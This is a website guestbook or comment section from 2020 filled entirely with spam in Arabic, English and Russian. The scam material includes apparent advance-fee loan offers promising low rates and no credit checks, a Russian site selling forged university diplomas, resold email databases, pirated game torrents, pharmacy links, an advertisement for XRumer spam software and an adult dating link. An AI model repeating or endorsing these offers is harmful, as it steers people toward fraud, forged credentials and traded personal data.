يقدمه للطلاب ورجال الأعمال والعاملين و أنواع القروض. مع معدل فائدة منخفض جدًا يبلغ 2٪ ، لذلك أرغب في تقديم المشورة وتوجيهك إلى هذه الشركة إذا كنت في حاجة ماسة إلى المال لتغيير المواقف من أجل الخير ، انتقل إلى شركة Amaizen للحصول على المساعدة والمساعدة المالية ، يمكنك الاتصال بعد ذلك من خلال هذا البريد الإلكتروني: (amaizenloan@yahoo.com) لا يعلمون أنني أفعل هذا وأدعو الله أن يباركهم في الأشياء االجيدة التي فعلوها في حياتي

Ahmad Wesley

Saturday, September 5, 2020

Hello there, We are looking for trusted and experienced roofers who are capable of handling more residential roofing projects in your area. We are the first roofing platform made by roofers and for roofers. All details are here: https://bit.ly/roofingplatform _________________ Ben Müller Project Manager (Residential Division) bens51798@gmail.com

mr oscar

Saturday, September 5, 2020

مرحبا هل تحتاج إلى قرض لغرضك الخاص أو لاحتياجات عملك؟ هنا هو الخبر السار بالنسبة لك. انت في المكان الصحيح لدينا القدرة على تقديم قروض / قروض تجارية وشخصية للشركات والأفراد بنسبة 3٪. راسلنا على: ecofinance2020@gmail.com نحن نقدم قروضًا تتراوح من 2،000 دولار إلى 50،000،000.00 دولار أمريكي ، نحن موثوقون وقويون وسريعون وديناميكيون ، بدون رقابة ائتمانية ونقدم ضمان قرض أجنبي بنسبة 100٪ خلال فترة التحويل هذه. راسلنا على: ecofinance2020@gmail.com لقد أصدرنا أيضًا قرضًا بجميع العملات بفائدة 3٪ لجميع القروض .... إذا كنت مهتمًا ، فاتصل بنا عبر هذا البريد الإلكتروني. Whatsapp: +79258159150 عنوان البريد الإلكتروني: ecofinance2020@gmail.com مع تحياتي، السيد أوسكار ecofinance2020@gmail.com

mr oscar

Saturday, September 5, 2020

مرحبا هل تحتاج إلى قرض لغرضك الخاص أو لاحتياجات عملك؟ هنا هو الخبر السار بالنسبة لك. انت في المكان الصحيح لدينا القدرة على تقديم قروض / قروض تجارية وشخصية للشركات والأفراد بنسبة 3٪. راسلنا على: ecofinance2020@gmail.com نحن نقدم قروضًا تتراوح من 2،000 دولار إلى 50،000،000.00 دولار أمريكي ، نحن موثوقون وقويون وسريعون وديناميكيون ، بدون رقابة ائتمانية ونقدم ضمان قرض أجنبي بنسبة 100٪ خلال فترة التحويل هذه. راسلنا على: ecofinance2020@gmail.com لقد أصدرنا أيضًا قرضًا بجميع العملات بفائدة 3٪ لجميع القروض .... إذا كنت مهتمًا ، فاتصل بنا عبر هذا البريد الإلكتروني. Whatsapp: +79258159150 عنوان البريد الإلكتروني: ecofinance2020@gmail.com مع تحياتي، السيد أوسكار ecofinance2020@gmail.com

Cleveland Franks

Friday, September 4, 2020

Good afternoon, I was just checking out your website and submitted this message via your "contact us" form. The "contact us" page on your site sends you these messages to your email account which is the reason you're reading through my message at this moment correct? This is the holy grail with any type of advertising, getting people to actually READ your message and I did that just now with you! If you have something you would like to blast out to tons of websites via their contact forms in the US or anywhere in the world send me a quick note now, I can even target particular niches and my costs are very reasonable. Send a reply to: kinleytrey96@gmail.com

Balangeanaks

Friday, September 4, 2020

[url=https://newbalance-russia.com/][img]https://c.radikal.ru/c09/2008/e3/7837b69e9abc.jpg[/img][/url] Универсальные кроссовки Нью Баланс будут хорошо смотреться на Вас в летнее время года. Большинство единиц New Balance созданы так, что ножка в них чувствует себя свободно. Кроссовки идеально подойдут для лета, чтобы гулять в центре города или скверах. Великолепно будут себя чувствовать, как мужчины, так и женщины в кроссовках New Balance зимой. Много популярных моделей NB оснащены технологией, которая согревает ножку в зимнее время года. На newbalance-russia.com вы найдёте огромное количество кросс NB. Если вы хотите одевать оригинальные кроссы New Balance то заходите по ссылке - [url=https://newbalance-russia.com/muzhskie/]купить мужские кроссовки нью баланс[/url] у нас вы подберете себе лучший вариант. На веб-странице интернет-магазина собрано более 300 единиц кроссовок. Вы можете открыть список мужских или женских кроссовок и заказать подходящую модель. Кроссовки NB действительно комфортные, их удобно одевать в любое время года. На веб-странице вы можете выбрать интересующую Вас модель и нажать «В корзину». Кроссовки сразу попадут в ящик, и вы сможете их оплатить. Также, кроссы можно оплатить с помощью кредиток Visa или Мастеркард на сайте, или при получении у курьера. В ассортименте собраны стильные кроссы, поэтому выбрать подходящий вариант не составит труда. На официальном портале New Balance доступны не только самые известные кроссы, но и классические модели для спорта от производителя. Компания разрабатывает ежегодно много вариантов кроссовок как для мужчин, так и для женщин. Каждый человек сможет выбрать и приобрести идеальный вариант. В списке есть позиции голубого, серого и светлого цветов. Огромный интерес у девушек вызывают кроссы New Balance желтого и розового цвета. Среди самых крутых кроссовок и новинок NB стоит выделить: кроссы NB 574; кроссовки New Balance 420; модель кроссовок NB 999. Круто будут смотреться как на мужчине, так и девушке любые кроссовки из зимней коллекции. На веб-странице - [url=https://newbalance-russia.com/zhenskie/]купить женские кроссовки нью баланс[/url] вы подберете разные товары, в том числе отображаются и кроссы со скидкой. Солидный каталог кроссовок Нью Баланс, который представлен на портале, позволяет выбрать кроссы для весны. Если у покупателя возникают вопросы, задать их реально по телефону +7(495)532-56-69, или лучше приехать сразу по адресу г. Москва, ул. Хабаровская, дом 15, где и находится интернет-магазин. На портале есть стильные модели, которые оснащены специальной стелькой и технологией, которая распределяет нагрузку стопы. Это позволяет чувствовать максимальный комфорт. Человек может наслаждаться даже в зимней спортивной экипировке кроссами Нью Баланс, так как они считаются комфортными и популярными.

Bernie

Thursday, September 3, 2020

Hi, i think that i saw you visited my site thus i came to “return the favor”.I'm attempting to find things to improve my website!I suppose its ok to use a few of your ideas!! this content this content https://telegra.ph/Essay-07-06

Lexnigoppy

Wednesday, September 2, 2020

[url=https://torrentigruhi.ru/][img]https://c.radikal.ru/c18/2008/a2/4aac7294d6d3.jpg[/img][/url] Игры скачать торрент механики на русском torrentigruhi.ru Рекомендуем интернет портал с самым огромным количеством бесплатных игр, которых можно скачать через торрент уже сейчас. Веб-сайт torrentigruhi.ru подготовил для Вас самые востребованные проверенные игры, также новинки, игры, которые только собираются выйти, топовые позиции, надежные и для слабых ПК. Заходите на представленный интернет ресурс, подбирайте игры и скачивайте на свой компьютер бесплатно. Чтобы [url=https://torrentigruhi.ru/newgame/]новинки игр скачать торрент[/url] Вам нужно обязательно определиться с жанром. У нас продемонстрированы абсолютно все жанры игр, которые когда-либо были на нашей планете. Это аркады, для взрослых, драка, логические, приключения, RPG, спортивные, стелс, ужасы, экшен, от 1-го лица, на двоих, игры на русском, VR-игры и многие другие. Выберите любой жанр и заходите в определенный каталог игр. Всякий жанр полный множества лучших, увлекательных игр, от которых Вы будете в восторге. Перед скачиванием рекомендуем почитать описание игры, характеристики и иные необходимые факты. Для этого нажимайте на афишу избранной игры и прочитайте всю важную информацию. Также возможно посмотреть подборки игр по году их выпуска. Начиная с самых перво созданных игр из 90-х, заканчивая следующим годом, где еще планируется выпуск игры. Все игры выложенные на сайте torrentigruhi.ru имеют лучшее качество, мгновенное скачивание и все необходимые права. При чем они вовсе бесплатны и Вы можете их снести, если игры не превзошли ожидание, не потеряв своих финансовых средств. Смотрите как [url=https://torrentigruhi.ru/top-100-games/]лучшие игры бесплатно скачать торрент[/url] на нашем сайте уже сегодня. Чтобы скачать игры обязательно, чтобы на Вашем ПК было свободно какое-либо количество мегабайт памяти. Некоторые игры весят достаточно много, доставая до метки в несколько ГБ, поэтому советуем проверить вес игры и наличие свободной памяти для срочной установки на Ваше устройство. После проделанного, можно приступить к скачиванию. Просто жмите на зеленую кнопку с белой стрелкой и надписью «скачать torrent". И всё, совсем скоро Вы можете насладиться своей любимой игрой. Обязательно оцените топ 100 самых востребованных игр на нашем веб-портале torrentigruhi.ru уже сегодня. Это список самых известных игр, которых скачали самое большое количество раз за неопределенное время на нашем портале. Также Вам должны быть интересны горячие новинки на представленном сайте. Это и The Bonfire 2 Uncharted Shores, и ATOM RPG Trudograd, Cartonfall Fortress, COCKHEAD, Windbound и многие другие. Если Вы многоопытный игрок, то Вы конечно же слышали эти названия, а может быть уже играли в них. Также все эти горячие новинки можно скачивать на нашем веб-сайте уже сейчас.

JamesSef

Wednesday, September 2, 2020

[url=https://lexapro2020.top/]lexapro2020.top[/url]

Una McDonagh

Wednesday, September 2, 2020

Hey guys We are re-selling a USA Vape Store Database that we bought off another site. It has helped us with our sales. Are you interested? I look forward to your positive response. You would have to be a total idiot to miss out on our deal! Don't fail now, get our database. Cheers bud https://www.vape-marketing.com/

Elvakovalect

Tuesday, September 1, 2020

Если вы планируете ехать в горы или в другой город зимой, оптимально одевать угги. Надёжные UGG можно найти на официальном сайте интернет-магазина UGG. Мужские и женские модели UGG еще как привлекают молодых людей. На australia-msk.ru можно найти и подобрать [url=https://australia-msk.ru/]купить угги в москве[/url] и унты. Большое количество моделей UGG стали в тренде благодаря натуральным материалам и качественному пошиву. Подошва со специальной анти-скользящей прокладкой, которая есть во многих уггах, сможет защитить человека от ушибов. Такая обувь очень гладкая снаружи и привлекательная на вид. Обувь великолепно подойдёт под ваш рабочий пиджак или штаны и поло. В холодные месяцы года угги выглядят стильно с любой одеждой. Главное преимущество такой зимней обуви – она нереально теплая. В основном, угги отлично сочетаются с зелёными и синими джинсами и кофтами. Большая часть девушек предпочитают в зимние месяцы также носить угги со спортивными штанами, если есть необходимость выйти в Park или недалеко от дома. К тому же, черные и коричневые мини-угги будут симпатично смотреться с юбками короткого кроя. В интернет-магазине невероятно много моделей, которые сразу Вам понравятся. UGG Australia кожаные сапоги и детские угги также доступны на веб-сайте. Если вы стремитесь сделать подарок или сделать презент своей девушке или жене на Новый Год, UGG из натуральных материалов с овчиной – великолепный вариант! Наиболее популярные и гладкие модели уггов распродаются в интернет-магазине очень быстро. Среди самых крутых моделей нужно выделить: Mini Bailey Button Bling Metallic Black; Classic Mini II Sand; Men’s Classic Mini II Chocolate В интернет-магазине также в целом в тренде [url=https://australia-msk.ru/]официальный интернет магазин угги австралия[/url] и UGG в натуральном бежевом цвете. К тому же, линейка LUX стала лидером по продажам этого года. На портале вы найдёте поиск товаров по каталогу, в списке очень много добавлено новых позиций. Женские ботинки UGG считаются самыми крутыми и удобными среди других женских брендов. Также, UGG Women’s Cheyeenne Dusk или Women’s Sioux Chesnut пользуются невероятной популярностью у девушек. Угги – это не только январская обувь, есть разные модели уггов для весны и осени. Достаточно много моделек из новинок UGG также размещены на сайте. Доставка может быть по указанному вами адресу, производится доставка, как правило, на 2-ой день после покупки. Вы также можете заплатить за товар кредиткой Visa или MasterCard на ресурсе заранее. При необходимости, вы можете оплатить за товар наличными средствами курьеру. Забрать сапоги, забронированные заранее реально в г. Москва, Проспект мира, д. 102, к.1, или узнать подробности по любой интересующей Вас продукции по контактам +7(495)7489547, где вас хорошо проконсультируют.

Gisele Fortin

Tuesday, September 1, 2020

I am reaching out from https://hempressa.com to introduce JustCBD affiliate program to you and budget.gov.eg. Earn money with JustCBD. Get paid for every single sale. Open a steady surge of earnings by participating as an official affiliate with us. Our affiliates generate 10% to 20% commission on each successful sale they refer to us. Every sale you refer is track and associated with you, even if the website visitor leaves and finishes the sale at a later date. We make sure to satisfy and surpass industry averages on sales commissions. How does it work? REGISTER at https://justcbdstore.com/affiliate-info/. Create a Justcbd affiliate account. LOG IN. Receive a customised, unique referral link & affiliate badge. ADVERTISE. Place the web link on your internet site or social network! EARN. Get paid 10-20% of each sale made through your web link.

Javierdrype

Monday, August 31, 2020

[url=https://kupitdiplomir.com/][img]https://c.radikal.ru/c06/2008/f5/1bcf40018f14.png[/img][/url] Недорого купить настоящий диплом в Москве можно на сайте kupitdiplomir.com Еще совсем недавно фраза «купить диплом» вводила некоторых людей в потрясение. Как это возможно? Покупать то, что необходимо завоевывать, учась 3, 5 или больше лет. А как же познания? А это легально? Некоторые люди и до сих пор живут стереотипами, к очень великому сожалению. Но радует, что с каждым годом это вступает в простое мероприятие-выкуп диплома среднего образования или какого-либо иного. Жизнь меняется, требования остаются прошлыми. На многие вакансии нет возможности попасть без имения диплома и никто не интересуется на сколько кандидат обладает познаниями. Для тех, кто дорожит своим временем создан наш интернет сайт kupitdiplomir.com переходите и смотрите, что мы Вам рады предложить. В планах найти, где [url=https://kupitdiplomir.com/]купить диплом о высшем недорого[/url] кра, Вы уже попали на самый первый источник. Чем выше спрос обсуждаемой услуги, тем больше предложений на нашем рынке. Как выбрать самое лучшее выполнение диплома? Необходимо делать заказ там, где есть дипломы от настоящих ВУЗов, с печатями и подписями, высшего качества бланки, соответствие документа государственным шаблонам, где есть много комментариев и продавец всегда с Вами на связи. Мы с достоинством объявляем, что наша организация соответствует всем запросам. Обещаем Вам принимать заказы анонимно и не передавать полученные Вами персональные данные. Чтобы [url=https://kupitdiplomir.com/kupit-diplom-bakalavra/]купить диплом бакалавра в москве[/url] жмите на наш сайт прямо сейчас. Познакомьтесь с нашим ассортиментом, рассмотрите наш прайс лист, почитайте отзывы, гарантии и всю представленную информацию. Далее, как Вы осуществите свой выбор, созвонитесь с нами. Это можно проделать несколькими способами. Например, заполнить заявку прямо на интернет сайте kupitdiplomir.com или написать в диалог, который открывается сразу при заходе на сайт. Возможно написать нам на электронный адрес или позвонить по телефону 8(495)741-14-25. Или выберите обратный звонок, введя свой номер телефона и наш менеджер Вам сразу же перезвонит. Время работы с понедельника по пятницу с 9:00 до 20:00. Найти нас можно по адресу: г. Москва, Филипповский пер, 16. Покупка диплома-прекрасное вложение финансовых средств, не тратя своего драгоценного времени. Некоторые после 3-5ти лет учебы не получают из своего ВУЗа познания, от слова «совсем». Люди осознают, что бесполезно потратили много лет и финансов. Сейчас началось немного иное время, когда люди осознают, что Российское образование ни каким образом не связано с удачной жизнью, с наличием перспективной работы и денег. Поэтому при резкой необходимости покупают дипломы в надежных организациях, тем самым не тратя свои года впустую. Эти несколько можно израсходовать на саморазвитие, на создание бизнеса или работы. Мы ждем и Вас на интернет ресурсе kupitdiplomir.com для суперсовременных людей.

Tamara

Monday, August 31, 2020

يمكننا مساعدتك بقرض حقيقي لتلبية احتياجاتك. هل تحتاج إلى قرض شخصي أو تجاري بدون ضغوط وموافقة سريعة؟ هل تحتاج إلى قرض عاجل اليوم؟ لا يوجد شيكات ائتمانية. * الموافقة على 60 دقيقة! * نقل مضمون في اليوم الأول! * 100٪ سرعة الموافقة !! * معدل اهتمام قليل !! اتصل بنا للحصول على مزيد من المعلومات حول القرض ، ولدينا مشكلة مالية. البريد الإلكتروني: elenanino0007@gmail.com

Linwood Farrington

Saturday, August 29, 2020

I am reselling a WOMEN'S CLOTHING AND APPAREL EMAIL LISTS that I bought off another site. Are you guys interested? It is good if you sell wholesale. Helped us a lot. Cheers

DafloiWag

Friday, August 28, 2020

[url=https://androidinfo.ru/][img]https://a.radikal.ru/a14/2008/ff/a590252c57c8.jpg[/img][/url] Вас рад приветствовать интернет ресурс, где мы разместили всю самую важную, нужную и увлекательную информацию об операционной системе Android. Достаточно давно стало понятно что данная платформа значится самой комфортабельной для использования в Мире и собственно поэтому множество людей предпочитают смартфоны именно на Андроиде. Если Вы искали - [url=https://androidinfo.ru/os-android/284-obzor-android-10-q.html]андроид 10 что нового[/url] то заходите на данный веб сайт. Интернет ресурс androidinfo.ru представил для Вас огромное количество статей по теме Андроид. Как раздавать интернет со смартфона? Как возможно включить или отключить управления жестами? На эти и многие подобные Вопросы мы ответили для Вас. Прочтите также интересные новости про смартфоны и гаджеты, которые постоянно добавляются на наш веб-сайт. Если Вы планируете покупать смартфон, но еще не решились с фирмой и моделью, то Вам вероятно будет важно посмотреть оценки и статистики смартфонов, а также обзоры на все самые востребованные модели. Детальное описание технических данных, всех возможностей, комментариев и статистик-всё это ждет Вас на нашем интернет сайте. Возможно оформить бесплатную подписку на наш портал, чтобы все новые статьи не пролетели мимо Вас. Прочтите про [url=https://androidinfo.ru/rejting-smartfonov/592-top-10-rejting-smartfonov-2020.html]телефон андроид лучший по цене качеству[/url] уже сейчас. Сегодня смартфон исполняет огромное количество предназначений в жизни современного человека. Это не единственный телефон, для того, чтобы позвонить друзьям и близким. Сегодня это и камера, телевизор, блокнот, развлечения, приложения для здоровья и спорта, для хобби и для многих он приносит основной заработок. Мы поможем найти Вам какие именно приложения больше всего подходят для поставленных задач, как их скачать и установить бесплатно, а также как ими легко пользоваться. Задавайте нам свои вопросы и мы с удовольствием ответим Вам как можно развернуто и скорее. Для нас важен каждый гость сайта и все советы мы оказываем совершенно бесплатно. Ждем Вас на нашем интернет сайте androidinfo.ru по любому вопросу об Андроид!

Targolempor

Friday, August 28, 2020

Если вы планируете поехать в горы или в другой город в феврале, оптимально одевать угги. Надёжные UGG можно найти на официальном сайте интернет-магазина UGG. Мужские и женские угги достаточно сильно привлекают молодых людей. На australia-msk.ru можно найти и подобрать [url=https://australia-msk.ru/]австралийские угги[/url] и унты. Большое количество моделей UGG стали в тренде благодаря натуральной овчине и качественному пошиву. Подошва со специальной анти-скользящей защитой, которая есть во многих уггах, сможет защитить Вас от падения. Такая обувь действительно гладкая снаружи и привлекательная на вид. Обувь превосходно подойдёт под ваш рабочий пиджак или джинсы и футболку. В зимнее время года UGG выглядят стильно с любой одеждой. Основное преимущество такой зимней обуви – она очень теплая. В основном, угги отлично сочетаются с коричневыми и бордовыми джинсами и кофтами. Большая часть девушек предпочитают в зимние месяцы также носить UGG со спортивными брюками, если нужно выйти в парк или недалеко от дома. К тому же, тёмные и коричневые мини-угги будут прилично смотреться с юбками короткого кроя. В интернет-магазине невероятно много моделей, которые сразу Вам понравятся. UGG Australia кожаные сапоги и детские угги также доступны на ресурсе. Если вы желаете сделать сюрприз или подарить презент своей любимой или жене на годовщину, UGG из прочных материалов с овчиной – отличный вариант! Наиболее популярные и гладкие модели UGG распродаются в интернет-магазине очень быстро. Среди самых популярных моделей надо выделить: Mini Bailey Button Bling Metallic Black; Classic Mini II Sand; Men’s Classic Mini II Chocolate В интернет-магазине также в целом популярны [url=https://australia-msk.ru/]купить ugg недорого[/url] и угги с натуральным бежевым цветом. К тому же, линейка LUX стала хитом этого года. На ресурсе вы найдёте поиск товаров по каталогу, в ассортименте очень много добавлено разных позиций. Женские ботиночки UGG считаются самыми крутыми и удобными среди других женских брендов. К тому же, UGG Women’s Cheyeenne Dusk или Women’s Sioux Chesnut пользуются огромной популярностью у девушек. Угги – это не только зимняя обувь, есть новые модели уггов для весны и осени. Достаточно много моделей из новинок UGG также представлены в каталоге. Доставка возможна по указанному вами адресу, производится доставка, на практике, на 2-ой день после покупки. Вы также можете заплатить за товар картой Visa или Мастеркард на ресурсе заранее. При необходимости, вы можете оплатить за товар наличными средствами курьеру. Забрать ботиночки, забронированные заранее реально в г. Москва, Проспект мира, д. 102, к.1, или узнать детали по любой интересующей Вас продукции по номеру +7(495)7489547, где вас хорошо проконсультируют.

Kent Terry

Friday, August 28, 2020

List your CBD shop with our directory. Search for this on Google: CBD STORE DIRECTORY This should remove any doubts as to our rankings https://vapestoresdirectory.com

Alma Hairston

Wednesday, August 26, 2020

Are You interested in advertising that costs less than $50 monthly and delivers hundreds of people who are ready to buy directly to your website? Visit: http://www.getwebsitevisitors.xyz

Ugrastoaduse

Wednesday, August 26, 2020

[url=https://uggs-russia.ru/][img]https://c.radikal.ru/c16/2008/d8/5c6acddec0e3.jpg[/img][/url] UGG созданы из высококачественных материалов и согревают ваши стопы в зимние месяцы года. Оригинальные австралийские угги с естественной овчиной – это идеальный вариант для зимних месяцев года. Одеть такие угги – одно удовольствие. Вы можете наслаждаться такой обувью, так как они не только согревают, но еще и оснащены особой нескользящей подошвой. На [url=https://uggs-russia.ru/]официальный интернет магазин угги австралия[/url] доступно уйма недавно созданных моделей УГГ. Среди наиболее известных моделей можно отметить: Alena Leopard, Jimmy Choo Zipper Grey, Classic Short Stardust Black. Новые модели УГГ невероятно быстро раскупаются дамами. Иногда девушки предпочитают заказывать УГГ под цвет своего пальто или пуховика. В тренде в этом году цвет хаки и серебристый. В shop UGG в продаже есть модели интересующего Вас размера. Оплата за угги возможна как при получении, так допускается заранее оплатить на счёт компании. Доставка продукции производится в течение двух дней. Популярные угги носят преимущественно дамы и студентки. UGG отлично подчеркивают статус, на ресурсе реально подобрать модели, которые одевает Бритни Спирс, Ольга Бузова и популярные знаменитости. В 2020 году женские UGG стали весьма распространёнными. Престижность компании и качественный пошив способствуют еще более сильной популярности УГГ. Из главных преимуществ товаров нужно отметить: комфорт, материал и прочность. Женские угги отлично будут смотреться на Вас как в зимнюю погоду, так и подчеркнуть ваш стиль в осенние зимние месяцы. Если вы присмотрели себе отличную модель, забрать её также вы можете в компании - [url=https://uggs-russia.ru/]австралийские угги официальный сайт[/url] по адресу г. Москва, ул. Хабаровская, дом 15. Получить справку от консультантов можно в рабочее время по телефону +7(495)748-75-05. В 2017 году бренд начал соперничать с популярными производителями обуви и стал лидером в зимней обуви. Современные женские модели идут с ремешками и молниями. Вы можете выбрать интересующую Вас модель даже среди Classic Cardy вязанные. Невероятно много молодых девушек выбирают Mini Fox Fur с мехом лисы. Такие модельки будут великолепно согревать Вас, а тепло будет чувствоваться даже под коленками. На официальном сайте интернет-магазина размещены в продаже также популярные модели мужских ботинок UGG. Конечно, они не так популярны, как женские. Но, парни их с удовольствием покупают, так как они очень теплые и в спросе у мужчин от 20 до 30 лет. Среди самых красивых мужских уггов: Ugg Navajo Men Boot Chestnut; UGG Mens Hendren TL Black, UGG Mens Hendren TL Chocolate.

Debbie

Wednesday, August 26, 2020

Hello There. I discovered your weblog the use of msn. That is an extremely well written article. I will make sure to bookmark it and come back to read more of your useful information. Thank you for the post. I'll definitely comeback. does tiktok show shares does tiktok show shares

KarinemKnors

Monday, August 24, 2020

[url=https://www.sorpcafe.ae/ru/][img]https://c.radikal.ru/c28/2008/95/9046d94ed311.jpg[/img][/url] Заказать с доставкой русскую еду на дом в Дубае sorpcafe.ae Один из самых современных мегаполисов Мира-Дубай может удивить не только самым большим торговым центром, самыми дорогими отелями и крутыми автомобилями, но и вкусной разнообразной кухней. Кафе, рестораны, бистро в этом эмирате существуют на любой вкус. Хотим Вас оповестить об одном кафе Дубая русской кухни Sorp Business Cafe. Если Вы планировали найти [url=https://www.sorpcafe.ae/ru/]ресторан в дубае[/url] то для Вас эта информация будет очень полезна. Русская кухня очень различна и аппетитна, особенно для тех, кто давно не был на Родине и соскучился по густому борщу. Заходите на сайт sorpcafe.ae и оцените наше меню. В ресторане Вы могли бы не только вкусно поесть, но также осуществить встречи разного вида-конференции, встречи с друзьями, романтический ужин или просто поужинать. У нас имеется как основной зал, так и частные комнаты, созданные как раз для подобных мероприятий, а также по запросу мы легко организуем всё по Вашим пожеланиям. Провести любой праздник, тематическую вечеринку, встречу с друзьями легко и просто вместе с нами! Полное меню привлекательно и обширно, мы постоянно пополняем позиции. Вы сможете рассмотреть картинки, состав блюд и стоимость на нашем интернет ресурсе уже сейчас. На завтрак мы рады предложить блины с лососем, с ягодами, с клубничным джемом, круассан с шоколадом, сэндвич с лососем, омлет, яйца бенедикт с соленым лососем, мюсли и многое другое. Супы и салаты: куриный с лапшой, окрошка, солянка, уха, цезарь с лососем, из говядины с баклажанами теплый салат, шеф-салат, винегрет и другие. Знаменитые русские пельмени и вареники с разными начинками. Вторые блюда также есть в огромном ассортименте: бефстроганов, лосось на гриле, стейки, рыба в горшочке, гуляш из говядины, осьминог на гриле, голубцы. Также Вы можете купить чебуреки, пирожки, лагман или пасту, различные гарниры. Напитки, которые есть в нашем кафе: смузи, разные кофе и чаи, соки, компот и кисель. Чтобы сделать заказ еды с доставкой, заходите и узнайте все подробности на страницу - [url=https://www.sorpcafe.ae/ru/delivery-ru]доставка еды[/url] прямо сейчас. Найти нас можно по адресу: UAE, DUBAI, JLT, CLUSTER F. Номер телефона +971 4 589 8003. Либо Вы можете написать в форму доставки на нашем сайте, указав ваши личные данные, место нахождения и позиции нужных блюд. Мы доставим Вам Ваш заказ в самые короткие сроки, в то время как Вы могли бы заняться своими любимыми делами, провести время с близкими или друзьями, работать или просто отдохнуть, не думая про готовку. Или закажите столик в нашем ресторане по написанному телефону или на данном сайте sorpcafe.ae можно нам написать на Email со всеми вопросами.

Tyree Black

Sunday, August 23, 2020

Stop paying thousands of $$ for expensive online advertising! I have a platform that charges only a tiny bit of money and creates an almost endless volume of web traffic to your website For details check out: http://www.permanent-web-links.xyz

quickfinance.dept@hotmail.com

Saturday, August 22, 2020

هل أنت مهتم بالحصول على قرض من شركة التمويل لدينا؟ quickfinance.dept@hotmail.com +919916071687

Maura Frey

Thursday, August 20, 2020

Zero cost advertising for your website here: http://www.zero-cost-forever-ads.xyz

Willian Roberge

Monday, August 17, 2020

Creative Bear Tech - Your innovative B2B lead generation company We are an innovative B2B lead generation business with a modern IT infrastructure, 5 international offices and an innovative business model. Here is what we do: We create B2B email lists for virtually every business sector in the world. Essentially, we are engaged in BUSINESS MATCHMAKING! We will match you to your prospective customers. We mostly specialise in generating email lists for e-mail advertising and marketing and e-newsletters as this is one of the most effective and cheapest B2B promotion and marketing avenue. Discover more at https://creativebeartech.com/content/about-us/

Sarah Choi

Friday, August 14, 2020

The Live Wire Network Show is a syndicated Network which is broadcast around the United Kingdom and global areas, incorporating FM, DAB, AM and Digital Radio Stations. Steve Osborne Media was established in 1989 for the sole purpose of promoting your business and products to a larger audience. These campaigns include celebrity interviews, lifestyle, business, entertainment, film, fashion, food, music and much more. We currently run Live Wire Today which is a feature led podcast (on various topics) which consists of an interview with one of our established presenters and the media package will be sent to podcast sites which includes Apple, iTunes,Facebook and Twitter. In addition we will provide you with a download link so the podcast can be used for personal websites and social media accounts. If you would like more information in the first instance please contact us via our website https://bit.ly/steveosborne Email: steveosbornemedia@mail.com

Clair Seabolt

Friday, August 14, 2020

BEST PROGRAM FOR ADVERTISEMENT! XRumer is the best program for advertisement! It's have CAPTCHA recognizer, email verificator, and a lot of other functions... This software will help to increase traffic to website to hundreds, thousands times. Program have a rich seven year history, which use experience of professionals in search engine optimization. Appreciate and use a truly unique and powerful XRumer program, can both professionals and beginners. MORE INFO=> https://bit.ly/39RzWR4

Gerardo Su

Thursday, August 13, 2020

Advertise your website free here!: https://bit.ly/no-cost-ads

EdkinsAnato

Wednesday, August 12, 2020

[url=https://audiopik.ru/][img]https://b.radikal.ru/b07/2008/10/3b45120513c4.jpg[/img][/url] [b]Персональный кинотеатр у Вас дома audiopik.ru[/b] Сегодня вряд ли отыщется такой дом, где нет хотя бы одного телевизора. А тех, у кого есть целый домашний кинотеатр с самой лучшей аудио системой очень немного. Если Вы хотите быть в числе обладателей собственного домашнего кинотеатра, то для Вас будет очень актуален наш интернет ресурс. Заходи на сайт audiopik.ru и прочитай все детали. Представляем Вам фирму АудиоПик, которая уже больше 10 лет оказывает услуги в области проектирования и установки, а также полной настройки аудио-видео систем наивысшего качества. Прочитать про [url=https://audiopik.ru/uslugi/personalnyj-kinozal-pod-klyuch/]проектирование кинозалов[/url] а также посмотреть ассортимент всех услуг можно прямо сейчас. Мы подходим к любому заказу и клиенту персонально, прислушиваемся ко всем пожеланиям, интересам и мечтам клиента, чтобы в итоге Вы получили то, что представляли себе. Сперва изготовляем проект домашнего кинозала, подбираем лучшую технику на заказ, следом устанавливаем у Вас дома и производим настройки под ключ. Предоставляем гарантийное и пост гарантийное обслуживание. Если Вы хотели найти информацию про [url=https://audiopik.ru/uslugi/personalnyj-kinozal-pod-klyuch/]персональный кинотеатр[/url] то Вы попали по верному адресу. Эту услугу можно заказать сегодня на нашем веб-сайте audiopik.ru написав в соответствующее окно или на Email. А также можно позвонить по нашему номеру телефона +7(495)127-01-46. Представленная компания размещена по адресу: Мос.обл., г. Щелково, ул. Центральная, стр. 17. Режим работы с понедельника по пятницу с 10:00 до 21:00, суббота и воскресенье с 11:00 до 15:00. Компания ориентирована на заказы домашних кинотеатров для частных лиц, устанавливаем в загородные дома, коттеджи и городские квартиры. Мы с большим удовольствием установим самый суперсовременный и качественный домашний кинотеатр именно Вам! Ждем Вас на нашем сайте.

Charity

Wednesday, August 12, 2020

May I simply just say what a relief to discover an individual who really understands what they are discussing on the internet. You certainly know how to bring a problem to light and make it important. More and more people really need to check this out and understand this side of the story. I was surprised you are not more popular given that you certainly possess the gift. http://girls.datinghip.site/perfect-dating-video.html русское xxx видео hd http://girls.datinghip.site/perfect-dating-video.html русское xxx видео hd

Olive McCauley

Wednesday, August 12, 2020

Hello there, We are looking for trusted and experienced roofers who are capable of handling more residential roofing projects in your area. We are the first roofing platform made by roofers and for roofers. All details are here: https://bit.ly/roofingplatform _________________ Ben Müller Project Manager (Residential Division) bens51798@gmail.com

Wilhelmina

Tuesday, August 11, 2020

Hello mates, how is the whole thing, and what you wish for to say on the topic of this piece of writing, in my view its truly awesome in support of me. does aloe vera fade acne scars does aloe vera fade acne scars

Mr Mike

Tuesday, August 11, 2020

